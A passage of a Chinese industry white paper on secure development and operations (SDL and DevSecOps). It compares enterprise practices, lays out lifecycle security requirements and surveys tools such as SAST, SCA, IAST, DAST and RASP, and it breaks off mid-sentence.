体系框架图 VMware 建立安全开发生命周期项目,识别和减少 VMware 软件产 品研发阶段的安全风险。VMware SDL 的发展受到行业最佳实践和组 织的深远影响,会定期评估 SDL 在识别风险方面的有效性,并随着 SDL 活动的发展和成熟不断对于流程进行优化改进,增添新型技术。 目前 VMware SDL 中的安全活动主要囊括,1)安全培训,对于人员进 行基于角色和技术的安全以及隐私培训;2)安全规划,对于随后的 安全审查活动制定基线要求;3)安全要求,涵盖认证、授权、加密、 证书、网络安全性等内容;4)安全设计,通过威胁建模明确安全风 险,改进安全设计;5)安全研发验证,通过静态代码分析与漏洞扫 描、渗透测试等手段保证研发验证阶段的安全性;6)开源及第三方 云计算开源产业联盟 研发运营安全白皮书 17 组件安全管理,明确产品中开源及第三方组件中的安全漏洞,在发布 前期进行修复;7)安全审查,对于前期所有安全工作进行二次审查; 8)上线运营,由安全响应中心进行持续的安全监控,对于安全风险 进行及时响应。具体执行流程如下图 5 所示。 图片来源:VMware 图 5 VMware SDL 体系框架图 云计算开源产业联盟 研发运营安全白皮书 18 微软 思科 VMware 软件应 用服务 研发运 营全生 命周期 安全管 理 安全 培训  提供安全培训,增 强安全意识,确保 人员了解安全基 础知识  内部安全培训计 划鼓励所有员工 提高安全意识,同 时鼓励开发和测 试团队深入学习 安全知识  对于人员进行基 于角色和技术的 安全以及隐私培 训 安全 要求  定义安全隐私要 求与安全门限要 求,包括法律和行 业要求,内部标准 和编码惯例,对先 前事件的审查以 及已知威胁等  包括思科内部安 全基线要求与基 于行业、场景的市 场安全要求  对于之后的安全 审查活动制定基 线要求  安全要求涵盖认 证、授权、加密、 证书、网络安全性 等内容 安全 隐私 需求 分析 与设 计  执行威胁建模,建 立设计要求,明确 加密标准等  利用行业标准原 则和高度安全的 经过审查的解决 方案,努力开发出 设计上更加安全 的产品  通过威胁建模了 解和确定系统的 安全风险并确定 优先级  通过威胁建模明 确安全风险,改进 安全设计 第三 方组 件安 全管 理  拥有准确的第三 方组件清单,并了 解其安全漏洞可 能对集成它们的 系统的安全性产 生影响  利用工具了解潜 在的第三方软件 安全威胁,不断更 新已知第三方软 件威胁和漏洞列 表,对于产品团队 进行告警  明确产品中开源 及第三方组件中 的安全漏洞,在发 布前期进行修复 安全 编码 与验 证  使用经过安全性 检查,认可的工 具,执行静态应用 程序与动态应用 程序安全性测试, 进行渗透测试  建立内部的安全 编码标准,维护经 过审核的通用安 全模块,同时通过 静态应用程序安 全测试与漏洞扫 描,渗透测试等手 段保证安全性  通过静态代码分 析与漏洞扫描、渗 透测试等手段保 证研发验证阶段 的安全性 安全 发布 部署  建立标准的事件 响应流程  建立安全发布标 准,确保发布部署 安全  对于前期所有安 全工作进行二次 审查 云计算开源产业联盟 研发运营安全白皮书 19 上线 运营 安全  通过人员权限认 证,数据加密存 储、传输,安全监 控,定期更新安全 策略,抵御常见网 络攻击,执行渗透 测试等手段保证 上线运营阶段的 安全  通过安全运营操 作流程与持续安 全监控、更新保证 产品上线之后的 安全  由安全响应中心 进行持续的安全 监控,对于安全风 险进行及时响应 表 5 企业研发运营安全具体实践 (五)开发模式逐步向敏捷化发展,研发运营安全体 系随之向敏捷化演进 研发运营安全相关体系的发展与开发模式的变化是密不可分的, 随着开发模型由传统的瀑布式开发演变成敏捷开发再转变为 DevOps, 研发运营安全相关体系也随着变化,但其核心理念始终是安全前置, 贯穿全生命周期。目前研发运营安全体系中,以微软提出的安全开发 生命周期(SDL)和 Gartner 提出的 DevSecOps 体系为典型代表。 安全开发生命周期(SDL)的核心理念就是将安全考虑集成在软 件开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、 设计到发布产品的每一个阶段每都增加了相应的安全活动,以减少软 件中漏洞的数量并将安全缺陷降低到最小程度。安全开发生命周期 (SDL)是侧重于软件开发的安全保证过程,旨在开发出安全的软件应 用。SDL 在传统软件开发生命周期(SDLC)的各个阶段增加了一些必要 的安全活动,软件开发的不同阶段所执行的安全活动也不同,每个活 云计算开源产业联盟 研发运营安全白皮书 20 动就算单独执行也都能对软件安全起到一定作用。具体内容如下图 6 所示。 图片来源:Microsoft 图 6 微软 SDL 流程体系 随着对软件开发质量和效率要求的不断提高,以 DevOps 为代表 的敏捷开发方法得到推崇。在此基础上,Gartner 公司于 2012 年推 出了 DevSecOps 的概念,DevSecOps 即 Development Security Operations 的缩写,是一套基于 DevOps 体系的全新安全实践战略框 架,旨在将安全融入敏捷过程中,即通过设计一系列可集成的控制措 施,增大监测、跟踪和分析的力度,优化安全实践,集成到开发和运 营的各项工作中,并将安全能力赋给各个团队,同时保持“敏捷”和 “协作”的初衷。 DevOps 的目的决定了其对“自动化”和“持续性”的要求更加突 出,因此在将安全控制集成其中时,也应该尽量遵循“自动化”和“透 明”的原则。为了将安全无缝集成到 DevOps 中,Gartner 和一些专家 从实践出发提出了一系列建议,主要包括:风险和威胁建模、自定义 代码扫描、开源软件扫描和追踪、考虑供应链安全问题、整合预防性 安全控制到共享源代码库和共享服务中、版本控制和安全测试的自动 云计算开源产业联盟 研发运营安全白皮书 21 化部署、系统配置漏洞扫描、工作负载和服务的持续监控等。下图 7 为 DevSecOps 具体体系框架。 图片来源:Gartner 图 7 DevSecOps 体系框架图 SDL DevSecOps 适用对象 软件产品安全开发全生命周 期 DevOps 体系,周期较短、迭 代较快的业务 安全责任 特定安全团队 研发运营所有参与人员 体系特点 安全集成在软件开发的每一 个阶段,整体提升安全性 DevOps 体系中融入安全,安 全工具自动化以及平台化 体系重点 整体安全管理制度搭配安全 人员能力达到软件产品研发 安全 DevOps 体系中嵌入自动化 安全工具,实现 DevOps 体 系的安全 表 6 SDL 与 DevSecOps 区别对照 三、 研发运营安全关键要素 本白皮书认为的研发运营安全关键要素包含两方面内容,1)覆 盖软件应用服务全生命周期的研发运营安全体系,提供理论框架,指 导研发运营安全的实践推进;2)研发运营安全技术工具的持续发展 云计算开源产业联盟 研发运营安全白皮书 22 应用,为体系的实践提供技术支撑,加速企业组织研发运营安全的落 地。 (一)覆盖软件应用服务全生命周期的研发运营安全 体系 本白皮书提出的研发运营安全体系强调安全左移,结合人员管理 体系、制度流程,从需求分析设计、编码阶段便引入安全,覆盖软件 应用服务全生命周期,整体提升安全性。提出的研发运营安全体系具 有四大特点,1)覆盖范围更广,延伸至下线停用阶段,覆盖软件应 用服务全生命周期;2)更具普适性,抽取关键要素,不依托于任何 开发模式与体系;3)不止强调安全工具,同样注重安全管理,强化 人员安全能力;4)进行运营安全数据反馈,形成安全闭环,不断优 化流程实践。 1. 管理制度 管理制度流程是推行研发运营安全的基础。在研发运营安全体系 规划和建设的过程中,首先是建立组织责任体系,制定完善的研发运 营安全管理体系和制度管理规范,明确管理制度和操作流程规范,建 立统一的安全基线。并将组织建设和人员制度管理纳入到全生命管理 周期中,对应的组织负责不同的安全职责与工作,进行安全培训,建 设组织级的安全文化以及对研发人员、测试人员、技术运营人员等进 行安全管理,包括第三方机构的人员,实现人人都为安全负责。 云计算开源产业联盟 研发运营安全白皮书 23 制度和操作规范包括 1)账号和密码管理,2)故障流程管理办法, 3)应急事件分级处理措施,4)人员行为安全规范,5)变更管理制 度,6)团队间安全协作流程和规范等。通过统一的流程管理平台, 保证各个流程环节能够被及时响应,各项任务能够被顺利传递、衔接。 安全培训针对所有研发、测试、运营人员以及第三方合作人员, 目前是为了提升安全意识,增强研发运营安全能力。培训内容主要包 括 1)安全管理制度,2)安全意识培训,3)安全开发流程,4)安全 编码规范,5)安全设计,6)安全测试等,并对于培训结果进行考核, 制定特殊岗位的上岗前考核机制,未通过相关考核的,不得从事向相 关岗位的工作。 2. 安全要求 安全要求明确研发运营安全的基线。安全要求通常包含安全管理 和技术安全要求,二者需要有机结合,不可分割。具体内容包括 1) 设立质量安全门限要求,具有项目级、团队级、组织级的质量安全门 限要求,根据业务场景、产品类型、语言类型划分质量安全门限要求, 智能化收集质量安全门限要求,根据业务场景等进行智能推荐;2) 项目角色以及权限管理,依据最小权限原则,建立资源、行为操作权 限管控,采用多因素认证机制保证访问安全,配置强密码策略,及时 为不需要权限的用户或用户组移除权限;3)安全审计,对于包括研 发、测试、运营的所有相关人员的所有操作行为进行审计,对于审计 记录进行保护,有效期内避免非授权的访问、篡改、覆盖及删除,对 于审计记录形成报表,方便查询、统计与分析,针对审计日志进行自 云计算开源产业联盟 研发运营安全白皮书 24 动化与人工审计,对于安全事件进行详细记录,对于高危操作进行重 点审计,进行告警通知,针对行业特点,业务特点进行定制化的安全 审计策略,对于审计记录进行统计分析、关联分析等;4)环境管理, 研发、测试、生产环境隔离,生产环境具有安全基线要求,保障环境 的安全,针对研发、测试环境有明确的权限管控机制,针对各类环境 的操作进行详细记录,具有可追溯性,定期执行生产环境的安全基线 扫描,及时发现和处理安全风险,研发、生产环境具有良好的抗攻击 与灾备容错能力,根据特定行业以及业务场景,对于测试环境接入安 全扫描,针对不同的业务场景以及架构,对于发布环境进行分类管理, 安全加固,生产环境具安全风险自动发现、分析和修复以及秒级容灾 容错切换能力;5)变更管理,有明确的进行变更条件与变更执行机 制,有明确的变更授权机制,对于变更请求进行统一分析、整理,确 定变更方案;6)开源及第三方组件管理,具有组织级的第三方组件 库,明确优选、可用、禁用的第三方组件列表,统一组件来源,具有 明确的第三方组件入库审批机制,第三方组件的引入应遵循最小化引 入原则,减少安全风险,开源及第三方组件与自研代码独立存放、目 录隔离,开源及第三方组件来源可追溯,开源组件追溯源社区,第三 方组件信息追溯到供应商,对开源软件的生命周期进行管理,记录开 源软件的生命周期信息,通过自动化工具及时向使用产品进行通知预 警;7)安全研发测试要求,具有组织级、团队级、项目级的安全编码 规范、安全测试规范。 3. 安全隐私需求分析与设计 云计算开源产业联盟 研发运营安全白皮书 25 安全前置到需求分析与设计阶段。安全隐私需求分析与设计是服 务应用研发运营整个生命周期的源头。具体内容包括:1)安全隐私 需求分析,应包括安全合规需求以及安全功能需求,针对安全合规需 求,应分析涉及的法律法规、行业监管等要求,制定合规和安全需求 基线,针对安全功能需求应根据业务场景、技术,具备相应的测试用 例,安全隐私需求来自法律法规、行业监管要求、公司安全策略、业 界最佳实践以及客户安全需求,具有明确的安全需求管理流程,能够 对安全需求的分析、评审、决策等环节进行有效管理,需求分解分配 可追溯;2)安全设计原则,3)确定质量安全门限要求,4)受攻击面 分析,分析应从系统各个模块的重要程度、系统各个模块接口分析、 攻击者视角分析攻击手段、方式、攻击路径、权限设置是否合理、攻 击难度等维度进行分析;5)威胁建模,具体行为包括确定安全目标、 分解应用程序、确定威胁列表;6)安全隐私需求设计知识库,具有 组织级安全需求知识分享平台,形成知识的复用,根据安全需求,得 出安全设计解决方案。 4. 研发与验证 研发验证是安全前置实践的关键所在,研发阶段安全是整体安全 左移实现关键,关注代码程序安全,验证阶段进行安全二次确认,避 免风险引入。为了确保上线服务应用没有安全风险,需要在研发及测 试过程中要进行全面的代码安全识别,具体内容包括:1)安全编码, 维护获得安全认可的工具、框架列表,使用获得认可的工具、框架, 具有统一的版本控制系统,将全部源代码纳入版本控制系统管理,版 云计算开源产业联盟 研发运营安全白皮书 26 本控制系统具有明确的权限管控机制,代码仓库具有实时代码安全扫 描机制,发现安全问题并提示修复,根据安全编码规范制定自定义安 全策略,进行自动化安全扫描,采用集成于 IDE 或其他形式提供的自 动化测试工具定时进行代码安全检测,针对版本控制系统有监控机制, 包括人员、时间、行为操作等,方便审计回溯,制定代码合入门禁机 制,确保代码合入质量,代码仓库支持线上代码动态扫描,发现安全 问题并提示修复;2)管理开源及第三方组件安全风险,对于第三方 组件根据风险级别,有明确的优选、可用、禁用机制,代码提交前采 用扫描工具进行第三方组件安全检查,管理项目中的第三方组件许可 证以及安全漏洞等风险,针对第三方组件安全风险,推荐安全解决方 案;3)变更管理,对于变更操作进行统一管理,明确记录变更信息, 包括但不限于变更人员、变更时间、变更内容,针对重点变更内容进 行评审,变更操作具有明确的审批授权机制,重大变更操作具有分级 评审机制,具有统一的变更管理系统,变更操作覆盖需求设计到发布 部署全流程;4)代码安全审查,制定明确的源代码安全检视方法, 开展源代码安全审计活动,采用工具与人工核验相结合的方式进行代 码安全审计,对于威胁代码及时通知研发人员进行修复,对高风险源 代码有分级审核机制,对于审计发现的威胁代码自动通知研发人员, 进行修复,根据行业特点、业务场景定制化开发代码安全审查工具, 制定安全审查策略;5)开源及第三方组件确认,采用工具与人工核 验的方式确认第三方组件的安全性、一致性,根据许可证信息、安全 漏洞等综合考虑法律、安全风险;6)配置审计,具有明确的配置审 云计算开源产业联盟 研发运营安全白皮书 27 计机制,配置审计包括但不限于配置项是否完备、配置项与前期安全 需求的一致性、配置项版本的描述精确,与相关版本一致制,配置项 的每次变更有记录,可以追溯到具体修改时间和修改人,产品依赖的 自研模块、平台组件、开源源码、开源二进制、第三方软件被准确的 定义和记录,对于明确统一的合规需求以及安全需求,进行自动化配 置审计;7)安全隐私测试,具有明确的安全隐私测试要求,作为发 布部署的前置条件,测试数据不包含未经清洗的敏感数据,基于安全 隐私需求,有相应的安全隐私测试用例,并进行验证测试,单个测试 用例的执行不受其他测试用例结果的影响,测试数据、用例应统一管 理,有明确的权限管控机制,测试用例、测试数据应定期更新,满足 不同阶段、环境的测试要求,具备自动化安全测试能力,对于测试结 果有集中汇总与展示的能力,持续优化安全测试策略,持续降低误报 率与漏报率,测试过程有记录可查询,测试设计、执行端到端可追溯, 基于不同业务场景以及系统架构,进行安全测试智能化推荐与测试策 略智能优化;8)漏洞扫描,采用主流的安全工具进行漏洞扫描,漏 洞扫描结果有统一管理与展示平台,漏洞扫描的结果及时反馈研发人 员,进行漏洞修复,具有自身以及第三方漏洞库,对于漏洞库定期更 新,基于漏洞信息进行关联与聚合分析;9)模糊测试,采用主流的 模糊测试工具,自动化进行模糊测试,模糊测试的结果及时反馈研发 人员,进行修复,持续改进模糊测试策略;10)渗透测试,引入人工 渗透测试机制,针对系统架构、应用程序、网络层面漏洞进行渗透测 云计算开源产业联盟 研发运营安全白皮书 28 试,根据行业特点与业务场景实施渗透测试,范围应覆盖重要安全风 险点与重要业务系统,有明确的渗透测试计划与管理机制。 5. 发布部署 安全发布部署是服务应用上线前的最后一道安全保障,发布阶段 确保服务安全上线运营,具体内容包括:1)发布管理,有相应的发 布安全流程与规范,发布操作具有明确的权限管控机制,发布应具有 明确的安全检查节点,根据安全节点检查结果,有相关告警机制,针 对发布流程具有安全回退、备份机制,制定发布策略,通过低风险的 发布策略进行发布,如灰度发布或者蓝绿发布等方式,发布流程实现 自动化,一键发布,根据安全节点检查结果,发现高危安全问题,自 动阻断发布流程,对于发布流程具有监控机制,出现问题自动化回滚, 建立稽核机制,发布前需要通过稽核部门的独立检查;2)安全性检 查,进行病毒扫描以及数字签名验证等完整性校验,校验结果作为发 布的前置条件;3)事件响应计划,具有预先的事件响应计划,包括 但不限于安全事件应急响应流程,安全负责人与联系方式。 6. 上线运营 运营阶段安全保障服务系统的稳定运行。为确保服务应用上线运 营安全,具体措施内容包括:1)安全监控,具有运营阶段安全监控 机制,覆盖全部业务场景,抵御常见威胁攻击的能力,如 DDoS 攻击, 暴力破解,病毒攻击,注入攻击,网页篡改,具有统一的安全监控平 台,对于威胁攻击处理能够统一监控并可视化展示,对于监控安全事 云计算开源产业联盟 研发运营安全白皮书 29 件进行分级展示,具有智能化安全监控平台,对于监控事件统一关联 分析,智能识别潜在的安全风险,实现智能化用户行为分析以及资产 数据的安全画像;2)安全运营,定期进行常规安全检查与改进,运 营人员有明确的权限管控机制与管理规范,监控运营数据加密存储, 存储与备份机制符合安全要求,保证全生命周期安全,对于安全事件 有多种方式的告警机制,通过统一平台对于安全事件处置全流程进行 跟踪,具备从外部接收相关漏洞通告和安全情报的能力,对于自动化 运维工具进行安全加固并具备自动化监控机制,及时发现工具的操作 安全风险,对于运营过程中的安全日志等数据进行自动化分析,发现 安全风险并告警,可建设统一的安全运营中心,分布于不同位置的云 平台接入统一运营中心,将管理数据统一进行处理,对于监控数据进 行统计、展示,具备持续的安全漏洞、安全信息外部反馈机制,对于 运营过程中的安全日志等数据进行智能化关联分析,发现潜在安全风 险并告警,根据漏洞信息、业务场景等智能化推荐安全解决方案,进 行智能化处置;3)风险评估,制定和实施安全风险评估计划,定期 进行安全测试与评估,安全风险评估、测试范围应覆盖重要业务系统、 应用,建立渗透测试流程,根据渗透测试流程,针对系统架构、应用 程序、网络层面漏洞进行安全测试,制定漏洞奖励计划,鼓励第三方 渗透测试,安全风险评估、测试范围应覆盖全业务系统,建立智能化 的风险评估体系,对于生产环境中的安全风险进行分析、告警;4) 应急响应,具有明确的应急事件响应流程,基于应急事件进行分级、 分类处理,具备专门的应急响应安全团队,有统一的技术平台,对于 云计算开源产业联盟 研发运营安全白皮书 30 应急事件进行全流程跟踪与可视化展示,对于应急事件及时复盘,形 成相关处理知识库,对于应急事件处理具有具体的量化指标,包括但 不限于威胁处理时间、响应时间,定期开展应急事件演练,对于应急 响应事件可以实现一定程度上的自动化处理,对于应急事件具有全面 的自动化以及一定程度智能化处理能力;5)升级与变更管理,有明 确的升级与变更操作制度流程,升级变更操作有明确的权限管控机制, 升级变更操作有明确的审批授权机制,对于升级变更操作有明确的操 作信息记录,包括但不限于变更升级内容、变更升级时间,变更升级 操作对于用户无感知,对于用户有影响的,需要提前告知沟通,有相 应的回滚机制,变更升级操作与版本系统同步,确保版本信息一致, 对于重大变更升级有分级评审机制,实现自动化变更升级与回滚,变 更升级操作有相应监控机制,出现问题自动化回滚;6)服务与技术 支持,有明确的服务与技术支持方式,通过电话等方式对于用户反馈 问题进行反馈、回访,对于监管部门、运营商提出的安全问题及时响 应,对于用户反馈问题有分级处理机制,及时对于处理结果进行反馈, 说明处理结果、影响程度等,对于反馈问题分类处理、记录、归档, 方便知识的反馈、复用,针对安全类问题具有专属反馈通道,确保安 全问题的及时响应;7)运营反馈,定期收集运营过程中的安全问题, 进行反馈,对于反馈安全问题分类、分级处理,完善前期安全需求设 计、安全研发等流程,具有明确的反馈改善管理流程与度量机制,有 统一的运营安全问题反馈平台,统一收集反馈的安全问题,分类、分 级处理,反馈全流程跟踪,对于收集的安全问题自动化实现汇总分析, 云计算开源产业联盟 研发运营安全白皮书 31 优化从需求设计到研发运营整个流程,对于反馈安全问题实现智能化 关联分析,发现潜在安全问题,优化研发运营全流程。 7. 停用下线 软件应用服务停用下线阶段安全实现研发运营安全体系闭环。服 务停用下线是研发运营安全体系的最后一环,指系统在终止服务之后, 应制定制定服务下线方案与计划,保护用户的隐私安全与数据安全, 具体要求为明确隐私保护合规方案,确保数据留存符合最小化原则, 满足国家相关规范要求。 (二)研发运营安全解决方案同步发展 研发运营安全的实践落地离不开自动化安全技术工具的持续发 展。传统研发运营模式中,研发与安全割裂,主要是因为安全影响研 发效率,通过自动化安全工具、设备,将安全融入软件应用服务的全 生命周期,适应当前的敏捷开发等多种模式是实现研发运营安全的必 要途径。同时,研发运营安全解决方案关注痛点安全问题,如安全要 求、合规要求以及目前热点的个人数据和隐私保护等问题,使用安全 解决方案可以更好的避免此类安全问题的发生,提升软件应用服务的 安全性。 本白皮书中涉及的研发运营安全相关技术工具主要包括:研发验 证阶段的静态应用程序安全测试(Static Application Security Testing ,以下简称 SAST),动态应用程序安全测试(Dynamic Application Security Testing,以下简称 DAST),交互式应用程序 云计算开源产业联盟 研发运营安全白皮书 32 安全测试(Interactive Application Security Testing,以下简称 IAST),软件组成分析(Software Composition Analysis,以下简 称 SCA ) 以 及 安 全 运 营 阶 段 的 实 时 应 用 自 我 保 护 ( Runtime Application Self-protection,以下简称 RASP)和 Web 应用防火墙 (Web Application Firewall,以下简称 WAF)。下图 8 为具体对应 阶段说明。 图片来源:中国信息通信研究院 图 8 研发运营安全解决方案阶段对应图 1. 静态应用程序安全测试 静态应用程序安全测试(SAST)是指不运行被测程序本身,仅通 过分析或者检查源程序的语法、结构、过程、接口等来检查程序的正 确性。源代码静态分析技术的发展与编译技术和计算机硬件设备的进 步息息相关,源代码安全分析技术多是在编译技术或程序验证技术的 基础上提出的,利用此类技术能够自动地发现代码中的安全缺陷和违 背安全规则的情况。目前主流的分析技术包括:1)词法分析技术, 只对代码的文本或 Token 流与已知归纳好的缺陷模式进行相似匹配, 不深入分析代码的语义和代码上下文。词法分析检测效率较高,但是 只能找到简单的缺陷,并且误报率较高。2)抽象解释技术,用于证 明某段代码没有错误,但不保证报告错误的真实性。该技术的基本原 理是将程序变量的值映射到更加简单的抽象域上并模拟程序的执行 云计算开源产业联盟 研发运营安全白皮书 33 情况。因此,该技术的精度和性能取决于抽象域对真实程序值域的近 似情况。3)程序模拟技术,模拟程序执行得到所有执行状态,分析 结果较为精确,主要用于查找逻辑复杂和触发条件苛刻的缺陷,但性 能提高难度大。主要包括模型检查和符号执行两种技术,模型检查将 软件构造为状态机或者有向图等抽象模型,并使用模态/时序逻辑公 式等形式化的表达式来描述安全属性,对模型遍历验证这些属性是否 满足;符号执行使用符号值表示程序变量值,并模拟程序的执行来查 找满足漏洞检测规则的情况。4)定理证明技术,将程序错误的前提 和程序本身描述成一组逻辑表达式,然后基于可满足性理论并利用约 束求解器求得可能导致程序错误的执行路径。该方法较为灵活性,能 够使用逻辑公式方便地描述软件缺陷,并可根据分析性能和精度的不 同要求调整约束条件,对于大型工业级软件的分析较为有效。5)数 据流分析技术,数据流分析技术基于控制流图,按照某种方式扫面控 制流图的每一条指令,试图理解指令行为,以此判断程序中存在的威 胁漏洞。数据流分析的通用方法是在控制流图上定义一组方程并迭代 求解,一般分为正向传播和逆向传播,正向传播就是沿着控制流路径, 状态向前传递,前驱块的值传到后继块;逆向传播就是逆着控制流路 径,后继块的值反向传给前驱块。 静态应用程序安全测试(SAST)使用功能主要包括:1)代码提 交、集成,在用户 IDE 环境中集成代码静态检测插件进行代码检查, 对发现的问题能够直接显示在 IDE 上。将代码提交到远程仓库时,触 发代码检查,系统会先去拉取代码,再执行代码扫描,扫描时支持全 云计算开源产业联盟 研发运营安全白皮书 34 量与增量代码扫描方式。构建时,支持每日定时设置,每天执行代码 检查,同时也支持根据需要手动触发检查。2)风险展示与处理,扫 描结束后,会在代码扫描系统及代码仓库上展示整体风险趋势变化, 包括新增、修复、遗留告警、项目代码质量状态展示等,同时支持各 个告警详情查看,包括风险等级、错误代码片段、问题描述、修复指 导等。支持用户对告警进行标记,包括确认、误报、设计如此等多种 场景。3)可扩展性,支持用户自定义规则扫描,也支持单个告警/批 量告警/路径屏蔽等功能,便于提高与业务场景的契合度。 目前静态应用程序安全测试(SAST)主要厂商包括国外的 Synopsys、Checkmarx、Veracode 等,以及国内的奇安信、默安科技 等。 2. 软件组成分析 软件组成分析(SCA)主要针对开源组件,通过扫描识别开源组 件,获取组件安全漏洞信息、许可证等信息,避免安全与法律法规风 险。开源软件相比于闭源软件,带来了如获取便捷、降低成本等诸多 好处,但相比于闭源软件,由于开源软件的所有权和使用权分离,如 果使用不当,会导致最终的使用用户被迫承受风险。因此在使用中用 户仍然需要注意遵循相关规则,例如遵循开源许可证的相关要求和监 管条例、甚至需要公开自有的商业代码等,对引入和使用过程中潜在 的安全风险进行有效监管。 云计算开源产业联盟 研发运营安全白皮书 35 目前来看,开源软件主要涉及的安全风险为以下三点:不清楚具 体引用或使用了哪些开源组件、对开源许可证引入的知识产权和合规 风险、开源软件自身的安全风险。 现有的开源扫描技术分为五种,1)通过进行源代码片段式比对 来识别组件并识别许可证类型;2)对文件级别提取哈希值,进行文 件级哈希值比对,若全部文件哈希值全部匹配成功则开源组件被识别; 3)通过扫描包配置文件读取信息,进行组件识别从而识别组件并识 别许可证类型;4)对开源项目的文件目录和结构进行解析,分析开 源组件路径和开源组件依赖;5)通过编译开源项目并对编译后的开 源项目进行依赖分析,这种方式可以识别用在开源项目中的开源组件 信息。 上述 5 种识别技术的识别速度是依次增快的,并且组件物料清单 的完整性也是依次增高的。源代码片段识别出的开源组件的数量较多, 但因为源代码片段比对受行数和关键词位置影响,识别出的开源组件 的误报率通常较高,且识别出的开源组件需要手动确认,对操作人员 的技术能力要求较高;其他 3 类识别出的开源组件数量通常少于源代 码片段识别,但因为哈希值的不变性,其识别出的开源组件的误报率 较低,同时相比于开源代码片段识别,由于源代码被改写生成哈希值 也会随之改变,因此漏报率通常比源代码片段识别高。 主流的安全漏洞检测原理为两种,第一种方法是依据获取到的开 源组件名称和版本号信息,在公开的 CVE 或 CNVD 库里去查寻该版本 曾经出现过的漏洞;第二种方法是通过程序分析技术,获取到开源组 云计算开源产业联盟 研发运营安全白皮书 36 件名称、版本信息和引用的函数,依据企业的商业漏洞库去匹配所引 用的函数是否会造成漏洞。方法二的准确性远远高于方法一,但是实 现难度也非常大。 针对开源组件自身安全风险,与传统的软件漏洞修复流程不同的 是并不对开源软件做漏洞修补工作,开源软件漏洞治理通常会依靠扫 描技术发现存有安全漏洞的开源软件版本号,与当前最新版本号做匹 配,进行替换。因此开源软件的版本号管理、漏洞更新及跟踪工作也 十分重要。 目前软件组成分析(SCA)主要厂商包括国外的 Synopsys、Micro Focus、WhiteHat Security 等,以及国内的奇安信、棱镜七彩等。 3. 交互式应用程序安全测试 交互式应用程序安全测试(IAST)是 2012 年 Gartner 公司提出 的一种新的应用程序安全测试方案,通过代理和在服务端部署的 Agent 程序,收集、监控 Web 应用程序运行时请求数据、函数执行, 并与扫描器端进行实时交互,高效、准确的识别安全漏洞,同时可准 确确定漏洞所在的代码文件、行数、函数及参数。 交互式应用程序安全测试(IAST)主要在三方面做工作:流量采 集、Agent 监控、交互扫描。1)流量采集,指采集应用程序测试过程 中的 HTTP/HTTPS 请求流量,采集可以通过代理层或者服务端 Agent。 采集到的流量是测试人员提交的带有授权信息有效数据,能够最大程 度避免传统扫描中因为测试目标权限问题、多步骤问题导致扫描无效; 同时,流量采集可以省去爬虫功能,避免测试目标爬虫无法爬取到导 云计算开源产业联盟 研发运营安全白皮书 37 致的扫描漏水问题。2)Agent 监控,指部署在 Web 服务端的 Agent 程 序,一般是 Web 服务编程语言的扩展程序,Agent 通过扩展程序监控 Web 应用程序性运行时的函数执行,包括 SQL 查询函数、命令执行函 数、代码执行函数、反序列化函数、文件操作函数、网络操作函数, 以及 XML 解析函数等有可能触发漏洞利用的敏感函数。3)交互扫描, 指 Web 应用漏洞扫描器通过 Agent 监控辅助,只需要重放少量采集到 的请求流量,且重放时附带扫描器标记,即可完成对 Web 应用程序漏 洞的检测。例如在检测 SQL 注入漏洞时,单个参数检测,知名开源 SQL 注入检测程序 SQLMAP 需要发送上千个 HTTP 请求数据包;交互扫描只 需要重放一个请求,附带上扫描器标记,Agent 监控 SQL 查询函数中 的扫描器标记,即可判断是否存在漏洞,大大减少了扫描发包量。 目前交互式应用程序安全测试(IAST)主要厂商包括国外的 Synopsys、Veracode 等,以及国内的悬镜安全、默安科技等。 4. 动态应用程序安全测试 动态应用程序安全测试(DAST)技术在测试或运行阶段分析应用 程序的动态运行状态。它模拟黑客行为对应用程序进行动态攻击,分 析应用程序的反应,从而确定该应用是否易受攻击。 以 Web 网站测试为例对于动态应用程序安全测试进行介绍,主要 包括三个方面的内容:1)信息收集,测试人员在测试开始前,需要 收集待测试网站的全部 URL,包括静态资源和动态接口等,每一条 URL 需要包含路径和完整的参数信息。测试人员收集 URL 的方式包括但不 限于:(1)从网站源代码中获取 URL 的路径和参数信息,(2)编写 云计算开源产业联盟 研发运营安全白皮书 38 网络爬虫对目标网站进行爬取,获得网站每一个页面中包含的全部 URL 信息。网络爬虫不仅要具备静态页面的爬取和分析能力,同时也 要具备对 Web2.0 时代新型的动态展示页面的爬取和分析能力。此外, 网络爬虫在最终输出结果前,应当具备以某种规则对 URL 列表进行去 重的能力,(3)在目标网站的服务器上安装 Web 流量采集工具,该 工具会记录该网站所有的 Web 请求。测试人员模拟正常访问把目标网 站的所有功能都是访问一遍,随后从流量采集工具中导出全部请求信 息,从中提取出网站的 URL 列表。除了收集 URL,测试人员还要解决 目标网站访问权限的问题。如果网站的部分功能需要账号登录后才能 访问,则测试人员需准备一套或多套能满足测试要求的账号密码信息, 并将信息传递到安全测试工具中,且保证测试过程产生的数据包都有 携带登录态信息。2)测试过程,测试开始前,测试人员应当将测试 所需的 URL 列表导入到测试工具中。导入的方式包括但不限于:(1) 手工从测试工具的管理页面逐条添加,(2)测试工具本身提供 API 接 口,测试人员可以通过编写程序调用该 API 接口进行提交,(3)测 试人员将 URL 集合按照一定的格式写入到文件中,然后上传到测试工 具的服务器上,使得后者可以读取。测试工具需要提供“检测风险项” 的选择列表,测试人员可根据测试计划选择不同的风险检测项。测试 工具在测试过程中,应当对访问目标网站的速度进行控制,保证目标 网站不会因为同一时刻的请求数过高,导致网站响应变慢或崩溃。测 试人员在设定测试任务的基本信息时,应当根据目标网站的性能情况 填入“每秒请求数”的最大值。测试工具在测试过程中应当保证每秒 云计算开源产业联盟 研发运营安全白皮书 39 发送请求的总数不超过该数值。3)测试报告,在安全测试各步骤都 完成后,输出测试报告。测试报告一般包含总览页面,内容包括:(1) 根据测试过程产生的各种数据,输出目标网站安全性的概要性结论; (2)测试过程发现的总漏洞数,以及按照不同安全等级维度进行统 计的漏洞数据。测试报告应详细列出每一项风险的详细信息。详细信 息包括:风险名称、风险等级、修复方案等关于风险的基本信息,证 明风险存在的证据,包括复现风险情况的步骤和方法,测试过程中被 用于证实存在风险的原始请求数据包和网站响应数据包,以及在原始 请求数据包中指出触发漏洞的关键点。 目前动态应用程序安全测试(DAST)主要厂商及工具包括国外的 Micro Focus Fortify WebInspect、Veracode 等,以及国内的各类 安全漏洞扫描工具等。 5. 实时应用自我保护 实时应用自我保护(RASP)是一种运行时应用自我保护程序,可 自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击, 使程序自身拥有自保护的能力,并且应用程序无需在编码时进行任何 的修改,只需进行简单的配置即可。通过 